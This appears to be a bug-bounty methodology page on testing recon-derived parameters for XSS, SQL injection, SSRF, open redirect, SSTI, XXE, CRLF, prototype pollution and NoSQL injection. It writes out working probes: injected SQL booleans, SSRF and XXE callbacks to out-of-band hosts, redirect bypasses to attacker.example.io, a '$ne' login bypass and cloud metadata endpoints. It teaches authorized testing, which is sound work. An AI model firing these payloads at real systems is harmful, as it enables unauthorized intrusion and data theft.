Injection surface from recon data
In the recon phases you ran gf over your URL list and got params/gf/xss.txt, sqli.txt, ssrf.txt and the rest. Those are not findings. They are the same URL list, filtered into different reading orders, because each bug class cares about a different kind of parameter. This part is how you work each pile.
One list, six test plans
Section titled “One list, six test plans”| Class | gf file | The parameter you want | Confirm with |
|---|---|---|---|
| XSS | gf/xss.txt |
Anything reflected into HTML or JS | A payload that executes, seen in a real browser |
| SQLi | gf/sqli.txt |
Values used in a query: ids, filters, sorts | A boolean or time difference, then sqlmap |
| SSRF | gf/ssrf.txt |
URL-taking params: url, next, webhook |
An interactsh callback from the server |
| Open redirect | gf/redirect.txt |
redirect, return, next, url |
A 3xx Location to your host |
| LFI | gf/lfi.txt |
file, path, page, template |
A known file read back, or path traversal |
| SSTI | gf/ssti.txt |
Values rendered server-side into a template | Math that evaluates, such as 49 from 7*7 |
Start from the triage queue: test injection on the now hosts first, then widen.
Cross-site scripting
Section titled “Cross-site scripting”Reflected XSS is mostly gone from server-rendered responses because frameworks auto-escape. In modern single-page apps the bug moved to the client. The server sends clean JSON, and the front end writes it into the DOM unsafely. That is DOM XSS, and your JS recon finds it before you fire a single payload.
-
Read the JS for sinks. In the bundles you downloaded during recon, search for
innerHTML,document.write,eval,setAttribute('on...'),dangerouslySetInnerHTML,v-html, and jQuery.html().Terminal window # Dangerous DOM sinks across downloaded JSgrep -REn 'innerHTML|document\.write|eval\(|dangerouslySetInnerHTML|\.html\(|v-html' js/files/ | head -40 -
Trace back from the sink to a source you control:
location.hash,location.search,postMessage,document.referrer, a URL parameter. A source that reaches a sink without sanitising is DOM XSS. -
Build the payload for the context. Hash-based sinks take
#payloads; attribute sinks need to break out of the attribute first. -
Validate in a real browser, headless if you are doing many. Dalfox automates reflected and some DOM cases.
# Dalfox v3 (Rust): scan a list of URLs with a blind callback for out-of-DOM hitscat params/gf/xss.txt | dalfox scan -b https://YOUR.oast.fun# Dalfox v3: one URL with your own payloadsdalfox scan 'https://example.com/search?q=FUZZ' --custom-payload payloads.txtDalfox v3 is a Rust rewrite; some v2 flags were renamed, so check the README or dalfox scan --help for DOM-mining options.
Reflected and DOM XSS are two of three. The other two need a different setup:
- Stored XSS is written once and runs whenever the page is viewed. Submit a labelled payload in a field that persists (a profile name, a comment, a support ticket), then load the page that renders it. The label tells you which field fired when the payload is viewed somewhere unexpected, such as an admin list.
- Blind XSS is stored XSS that fires in a browser you never see, often a staff back-office. You cannot watch for it, so it carries a callback. Use the blind XSS collector from phase 16, which captures the DOM, cookies and URL when the payload runs, and label each injection point.
SQL injection
Section titled “SQL injection”Smoke-test by hand before you reach for sqlmap. A parameter that errors on a single quote, or returns different results for id=1 AND 1=1 versus id=1 AND 1=2, is worth the heavy tool. Firing sqlmap at every URL is noise.
# Manual boolean smoke test in two requests, compare the responsescurl -s "https://example.com/item?id=1%20AND%201=1" -o /tmp/true.htmlcurl -s "https://example.com/item?id=1%20AND%201=2" -o /tmp/false.html && diff <(wc -c </tmp/true.html) <(wc -c </tmp/false.html)A pair that actually differs looks like this. The true condition returns the row. The false condition returns data null.
GET /api/v1/products?id=1042%20AND%201=1 HTTP/1.1Host: shop.example.com
HTTP/1.1 200 OKContent-Type: application/json
{"status":"success","data":{"id":1042,"title":"Office Chair","stock":12}}GET /api/v1/products?id=1042%20AND%201=2 HTTP/1.1Host: shop.example.com
HTTP/1.1 200 OKContent-Type: application/json
{"status":"success","data":null}The query evaluated the boolean. That does not show the database user can call LOAD_FILE, and it does not show a longer extract will get past a WAF.
When a parameter looks promising, save the full request from Burp (right-click, “Copy to file”). Hand it to sqlmap so cookies and headers come along.
# sqlmap against a saved request, gentle settings, batch modesqlmap -r request.txt -p id --level 2 --risk 1 --batch --bannerghauri is a lighter alternative that handles many injection points sqlmap also finds, sometimes with less tuning and fewer requests. It reads the same saved-request format.
# ghauri against the same saved requestghauri -r request.txt -p id --level 2 --batch --dbsServer-side request forgery
Section titled “Server-side request forgery”From the recon output, the parameters that fetch a URL server-side are your SSRF surface: url, uri, next, dest, feed, webhook, image_url, callback, proxy. Put your interactsh host in each and watch for a callback.
# Start the listener (recon phase 16), then test a fetch-like parameterinteractsh-client -v &curl -s "https://example.com/preview?url=https://PREFIX.oast.fun/ssrf"A DNS lookup alone is weak evidence; link preview bots do that too. An HTTP request from the target’s server is the real signal. Once confirmed, work out what the server can reach. Cloud metadata is the classic escalation.
A confirmed hit has two parts. The app accepts the URL, and your listener sees the worker.
POST /api/v1/webhooks/test HTTP/1.1Host: integrations.example.comContent-Type: application/json
{"target_url":"http://203.0.113.10:8080/ssrf-proof"}
HTTP/1.1 200 OKContent-Type: application/json
{"status":"queued","task_id":"wk_8812"}Connection received from 203.0.113.5:54210GET /ssrf-proof HTTP/1.1Host: 203.0.113.10:8080User-Agent: Go-http-client/1.1203.0.113.5 issued that GET. The worker made the request. The hit does not show it can reach 169.254.169.254 or an internal address. Egress rules often allow the internet and block the internal ranges.
| Cloud | Metadata endpoint | Note |
|---|---|---|
| AWS | http://169.254.169.254/latest/meta-data/ |
IMDSv2 needs a token header first |
| GCP | http://metadata.google.internal/computeMetadata/v1/ |
Needs Metadata-Flavor: Google |
| Azure | http://169.254.169.254/metadata/instance?api-version=2021-02-01 |
Needs Metadata: true |
Open redirect
Section titled “Open redirect”# Does the parameter send the browser off-site?curl -s -i "https://example.com/go?next=https://attacker.example.io" | grep -i '^location:'Open redirect is low value on its own and often rejected. It earns real severity when it chains: stealing an OAuth code through a weak redirect_uri, or bypassing an SSRF allowlist. Try the bypasses programs commonly miss: //attacker.example.io, https:attacker.example.io, https://example.com.attacker.example.io, https://example.com@attacker.example.io, and a backslash variant https:/\attacker.example.io.
SSTI and command injection
Section titled “SSTI and command injection”Template injection reaches code execution, so it is high value, but it is easy to misfire. Your tech fingerprinting from recon tells you which template language to test, which stops you spraying Jinja2 payloads at a .NET app.
Stack from tech/httpx-tech.tsv |
Likely engine | First probe |
|---|---|---|
| Python, Flask, Django | Jinja2, Django templates | {{7*7}} then {{7*'7'}} |
| PHP, Laravel, Symfony | Twig, Blade | {{7*7}} |
| Java, Spring | Thymeleaf, Freemarker, Velocity | ${7*7} |
| Node, Express | Handlebars, Pug, EJS | {{7*7}}, #{7*7} |
| Ruby, Rails | ERB, Slim | <%= 7*7 %> |
# A benign arithmetic probe; 49 in the response means the input is evaluatedcurl -s "https://example.com/greeting?name=%7B%7B7*7%7D%7D" | grep -o '49'GET /greeting?name=%7B%7B7*7%7D%7D HTTP/1.1Host: portal.example.com
HTTP/1.1 200 OKContent-Type: text/html; charset=utf-8
<html><body>Welcome 49</body></html>The server returned Welcome 49, so it evaluated {{7*7}}. A sandbox can still block the classes a command payload needs. Stop at arithmetic for the proof. Going from {{7*7}} to reading files or running commands is the exploit, and a program wants the smallest proof that shows real impact. The same discipline applies to OS command injection: confirm with a timing payload or an interactsh DNS lookup, not a destructive command.
Once the arithmetic proof lands, confirm the engine safely. SSTImap fingerprints the template language and shows the minimal evaluation without jumping straight to a shell.
# Identify the engine and confirm evaluation, no exploitationpython3 sstimap.py -u "https://example.com/greeting?name=*" --engine autoXML external entity
Section titled “XML external entity”Any endpoint that parses XML is a candidate: SOAP services, SAML, Content-Type: application/xml APIs, DOCX/XLSX/SVG upload handlers. Test with an out-of-band entity first, because a blind parser proves itself with a callback even when nothing is reflected.
<!-- OOB probe: the parser fetches your interactsh host if external entities are on --><?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "http://PREFIX.oast.fun/xxe">]><r>&x;</r>A callback from the target’s IP confirms XXE. For a file-read proof, point the entity at a harmless local file such as /etc/hostname; stop before pulling secrets.
CRLF injection
Section titled “CRLF injection”A parameter can land in a response header such as a redirect Location, a Set-Cookie or a custom header. An encoded %0d%0a there can inject a new header or start a body. It chains into response splitting, cache poisoning, and header-based XSS.
# Inject a header; a reflected Set-Cookie in the response confirms itcurl -s -i "https://example.com/redirect?url=%0d%0aSet-Cookie:%20crlf=1" | grep -i '^set-cookie'Most servers now strip bare CR/LF, so try the double-encoded %250d%250a and unicode variants before you conclude it is safe.
Prototype pollution
Section titled “Prototype pollution”A JavaScript app that merges user input into an object without guarding __proto__ lets you set properties on every object. On the client it gadgets into DOM XSS; on a Node server it can reach command execution. Test by sending __proto__ keys and checking for a polluted property.
# Server-side probe: pollute, then see if a later response reflects the injected defaultcurl -s "https://example.com/api/config?__proto__[polluted]=yes" | grep -o 'polluted'For the client side, set ?__proto__[test]=1 in the URL and read Object.prototype.test in the console. The DOM Invader tool in Burp and the ppmap script automate the client hunt.
NoSQL injection
Section titled “NoSQL injection”When fingerprinting points at MongoDB or another document store, the SQLi leads are worth retesting with NoSQL operators. A classic is the authentication bypass, where {"$ne": null} matches any value.
# Auth bypass probe against a JSON login: password that matches anythingcurl -s -X POST https://example.com/api/login -H 'Content-Type: application/json' \ -d '{"user":"admin","password":{"$ne":null}}'In query-string APIs the same idea is user[$ne]=&password[$ne]=. A login that succeeds, or a filter that returns rows it should not, confirms it. NoSQLMap automates the operator set once you have a candidate.
Next, test how servers, proxies and caches disagree about a request in HTTP protocol.
Open local graph around this page
Recon AtlasFor authorized testing only. Your scope is the map edge.